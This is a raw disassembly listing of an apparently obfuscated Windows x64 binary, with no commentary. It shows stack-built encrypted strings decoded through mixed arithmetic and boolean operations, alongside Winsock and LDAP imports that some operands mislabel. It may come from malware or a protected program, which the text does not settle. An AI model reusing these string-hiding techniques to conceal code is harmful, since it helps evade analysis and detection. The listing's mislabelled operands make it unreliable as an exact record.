movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x1401526a5
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015232a
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x140152838
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140152561
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x140152838
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14015258b
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x140152789
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401525a8
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1401523f4
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401525c5
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140152750
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x140152361
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x24
jmp 0x14015273c
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x740]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r10
jmp 0x1401526a5
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x740]
jmp 0x140152209
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401521fc
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x72
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140152847
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x140152762
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x140152716
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add r10, r15
jmp 0x140152762
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, r15
jmp 0x140152847
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x740], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1401527e5
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x740], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140152838
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0x740]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140151cdb
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151cd8
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140151cc8
lea rdx, [rbp + 0x15982e8]
jmp 0x1401528b4
lea rdx, [rbp + 0x16dc0a6]
jmp 0x1401528b4
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0xd8]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2410]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401528e9
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2410]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2410]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2410]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xb50], 0xe3
mov byte [rbp + 0xb51], 0xad
mov byte [rbp + 0xb52], 0xec
mov byte [rbp + 0xb53], 0xab
mov byte [rbp + 0xb54], recv
mov byte [rbp + 0xb55], 0xa9
mov byte [rbp + 0xb56], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xb57], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xb58], 0x3d
mov byte [rbp + 0xb59], __WSAFDIsSet
mov byte [rbp + 0xb5a], r13b
mov byte [rbp + 0xb5b], __WSAFDIsSet
mov byte [rbp + 0xb5c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb5d], __WSAFDIsSet
mov byte [rbp + 0xb5e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xb5f], 0x9f
mov byte [rbp + 0xb60], 7
mov byte [rbp + 0xb61], 0x9d
mov byte [rbp + 0xb62], 5
mov byte [rbp + 0xb63], 0x9b
mov byte [rbp + 0xb64], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xb65], 0x99
mov byte [rbp + 0xb66], Ordinal_46
mov byte [rbp + 0xb67], 0x87
mov byte [rbp + 0xb68], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xb69], 0x85
mov byte [rbp + 0xb6a], Ordinal_217
mov byte [rbp + 0xb6b], 0x83
mov byte [rbp + 0xb6c], 0x3d
mov byte [rbp + 0xb6d], 0x81
mov byte [rbp + 0xb6e], Ordinal_50
mov byte [rbp + 0xb6f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb70], Ordinal_46
mov byte [rbp + 0xb71], Ordinal_143
mov byte [rbp + 0xb72], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb73], Ordinal_143
mov byte [rbp + 0xb74], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xb75], Ordinal_143
mov byte [rbp + 0xb76], 0x64
mov byte [rbp + 0xb77], 0xf7
mov byte [rbp + 0xb78], 0x5c
mov byte [rbp + 0xb79], 0xf5
mov byte [rbp + 0xb7a], 0x62
mov byte [rbp + 0xb7b], 0xf3
mov byte [rbp + 0xb7c], 0xaa
mov byte [rbp + 0xb7d], 0xf1
mov byte [rbp + 0xb7e], 0xa2
mov byte [rbp + 0xb7f], 0xff
mov byte [rbp + 0xb80], 0xae
mov byte [rbp + 0xb81], 0xfd
mov byte [rbp + 0xb82], 0x57
mov byte [rbp + 0xb83], 0xfb
mov byte [rbp + 0xb84], 0x60
mov byte [rbp + 0xb85], 0xf9
mov byte [rbp + 0xb86], Ordinal_79
mov byte [rbp + 0xb87], 0xe7
mov byte [rbp + 0xb88], 0xb6
mov byte [rbp + 0xb89], 0xe5
mov byte [rbp + 0xb8a], 0x77
mov byte [rbp + 0xb8b], 0xe3
mov byte [rbp + 0xb8c], 0x7d
mov byte [rbp + 0xb8d], 0xe1
mov byte [rbp + 0xb8e], 0x47
mov byte [rbp + 0xb8f], 0xef
mov byte [rbp + 0xb90], 0xec
mov byte [rbp + 0xb91], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb92], xmm0
mov qword [rbp + 0xba2], rax
mov byte [rbp + 0xbaa], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x1401536c9
movzx r8d, byte [rbp + r9 + 0xb50]
mov r11, r8
cmp rdi, r9
ja 0x1401536c0
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140152b6b
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x4a
jmp 0x140152ba5
je 0x14015363b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401535b1
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015357c
lea rax, [r10 + 6]
cmp rdi, rax
je 0x140153532
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140153509
cmp r10, r9
ja 0x1401536b7
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x140152bcb
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x140152db2
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401534c5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401534a5
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140153482
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14015345f
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14015314c
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14015312b
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140153117
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x1401530f4
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401530d2
lea rax, [r10 + 8]
cmp rdi, rax
je 0x1401530ac
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14015308a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x140153076
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140153054
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x140153040
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x140152c0c
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x140153695
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14015366f
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x140152dec
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x140152dc9
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x140152da3
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x140152fe5
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x140152f8a
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x140152f3c
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140152f1a
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x140152ef9
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x140152ed5
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x140152eb2
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140152e9e
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x140152e7c
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140152e56
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x140152e33
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140152e12
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x140152c0c
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x140152c0c
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140152bff
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x140152ba5
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140152b34
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401534e1
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x140153527
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14015352a
movabs rcx, 0x5350f17229c7c674
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2c
jmp 0x140153550
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14015358b
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x1401535a0
movabs rdx, 0x762804f2acf943d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401535d3
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14015347b
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x140153658
movabs rcx, 0xb607a8b39d7ea9ba
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x16
cmp r10, 0x41
jb 0x1401533fd
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x1401534e3
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 3
jae 0x14015340a
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x140153343
movabs rdx, 0x23d9f578ff064e54
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
jmp 0x140152f59
movabs rcx, 0xcd41b5b3f4f4fd52
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3e
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x140153436
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x140153262
movabs rdx, 0x9dcab9baca338532
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x140152fab
movabs rdx, 0x245b66753cf0b6cc
mov ecx, gethostname
jmp 0x140153193
movabs rcx, 0x2ff86cf568abe098
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140153605
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x1401531be
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x1401535a0
movabs rdx, 0x52cf8075ebdd5dfc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015359d
movabs rcx, 0x5e6c86f6179887c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x140153550
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14015352a
movabs rdx, 0x75a693f66f0edb60
mov ecx, Ordinal_50
jmp 0x14015324b
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x1401534e1
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14015317b
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153002
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401531aa
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140153658
cmp rdi, rcx
jne 0x1401531d5
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401535d5
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140153204
movabs rdx, 0xd20d56fb8efdc148
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153550
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14015322f
movabs rcx, 0xc670507b6342977c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14015352a
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140153002
movabs rdx, 0xbad349fb37876db0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140153527
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14015328f
movabs rdx, 0x922db33a9e785b66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401534e1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401532be
movabs rdx, 0x7af3a63a470207ce
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14015352a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401532e9
movabs rcx, 0x63b99939ef8bb436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
jmp 0x14015359d
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140153314
movabs rcx, 0x4c7f8c399815609e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
jmp 0x1401535d5
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140152fab
movabs rcx, 0x35457f39409f0d06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x140153658
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140153360
movabs rdx, 0x183ceef8d34b2488
mov ecx, 0x24
jmp 0x140153193
cmp rdi, rcx
jne 0x140153386
movabs rdx, 0xc9fe878a78ffabc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x24
jmp 0x14015347b
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401533b1
movabs rcx, 0xe9c8d4f8245e7d58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x14015359d
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401533ce
movabs rdx, 0xc6f1c177a12cfff4
mov ecx, Ordinal_46
jmp 0x14015324b
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140152f59
movabs rcx, 0xbb54baf77571d628
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x1401534e3
mov byte [rbp + r9 + 0xb50], bl
jmp 0x140153667
movabs rdx, 0xa41aadf71dfb8290
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0xb50]
add bl, r8b
jmp 0x14015354e
movabs rdx, 0x987da776f24058c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0xb50]
sub bl, 0x5c
jmp 0x1401535d3
movabs rdx, 0x292707bcd6f97ac2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
add bl, dl
jmp 0x140153605
movabs rcx, 0x406114bd2e6fce5a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x76
jmp 0x1401535a0
movabs rcx, 0x6338283db1a14bbe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14015352a
movabs rdx, 0x7a72353e09179f56
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5a
add bl, dl
movabs rcx, 0xa9e9313733d91776
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
jmp 0x140153527
movabs rcx, 0x9d4948be8c491cba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x16
add r10, r15
sub r9, r15
jmp 0x140153667
movabs rdx, 0xb48355bee3bf7052
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
add bl, dl
movabs rdx, 0x9e4c2ab7081dedaa
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xb50], cl
jmp 0x14015359d
movabs rdx, 0xc0205c3f0f7a9a1e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
mov rcx, r12
sub rcx, rax
add r9, rcx
jmp 0x140153667
mov r8, r11
movabs rdx, 0xd75a693f66f0edb6
add rdx, r9
mov al, dl
and al, r11b
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movabs rcx, 0x92af2436dc62c3de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x12
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0xb50], al
add r10, r15
add rax, r10
sub r9, rax
movabs rdx, 0x8ce0a0f6c6852ef8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xb50], cl
add rdi, r15
mov rax, r12
sub rax, rdi
add r9, rax
jmp 0x140153658
movabs rcx, 0xee94763fbe67414e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x22
movzx eax, byte [rbp + r9 + 0xb50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x140152b21
movabs rdx, 0xfbb5cfb4a3e1a482
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140152b1e
movabs rcx, 0x752d634cf9cce4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x140152b0e
lea rdx, [rbp + 0x16000c8]
jmp 0x1401536d0
lea rdx, [rbp + 0x1026be2]
jmp 0x1401536d0
lea rdx, [rbp + 0xb50]
lea rcx, [rbp + 0xf8]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2520]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140153705
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x2520]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x2520]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x2520]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0x520], Ordinal_60
mov byte [rbp + 0x521], Ordinal_143
mov byte [rbp + 0x522], 0x61
mov byte [rbp + 0x523], 0xf3
mov byte [rbp + 0x524], 0x5a
mov byte [rbp + 0x525], 0xf1
mov byte [rbp + 0x526], 0x62
mov byte [rbp + 0x527], 0xf7
mov byte [rbp + 0x528], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x529], 0xf5
mov byte [rbp + 0x52a], 0x5b
mov byte [rbp + 0x52b], 0xfb
mov byte [rbp + 0x52c], WSACleanup
mov byte [rbp + 0x52d], 0xf9
mov byte [rbp + 0x52e], 0x5b
mov byte [rbp + 0x52f], 0xff
mov byte [rbp + 0x530], r14b
mov byte [rbp + 0x531], 0xfd
mov byte [rbp + 0x532], 0x59
mov byte [rbp + 0x533], 0xe3
mov byte [rbp + 0x534], Ordinal_79
mov byte [rbp + 0x535], 0xe1
mov byte [rbp + 0x536], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x537], 0xe7
mov byte [rbp + 0x538], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x539], 0xe5
mov byte [rbp + 0x53a], 0x7f
mov byte [rbp + 0x53b], 0xeb
mov byte [rbp + 0x53c], 0x7a
mov byte [rbp + 0x53d], 0xe9
mov byte [rbp + 0x53e], Ordinal_79
mov byte [rbp + 0x53f], 0xef
mov byte [rbp + 0x540], 0x7a
mov byte [rbp + 0x541], 0xed
mov byte [rbp + 0x542], 0x88
mov byte [rbp + 0x543], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x544], 0x84
mov byte [rbp + 0x545], Ordinal_211
mov byte [rbp + 0x546], Ordinal_217
mov byte [rbp + 0x547], Ordinal_217
xor eax, eax
mov qword [rbp + 0x548], rax
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x30
jae 0x1401543e0
movzx r8d, byte [rbp + r9 + 0x520]
mov rdx, r8
cmp rdi, r9
ja 0x1401543d7
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401538c2
movabs r11, 0xa56801fc54f0c73e
lea rcx, [r9 + r11]
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0x4e
jmp 0x140153906
je 0x140154356
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401542d1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401542a5
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14015425a
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140154209
movabs r11, 0xa56801fc54f0c73e
cmp r10, r9
ja 0x1401543ce
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14015392c
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x140153b41
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401541f7
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401541d4
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401541ae
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140154188
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14015416a
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x140153e5c
lea rax, [r10 + 4]
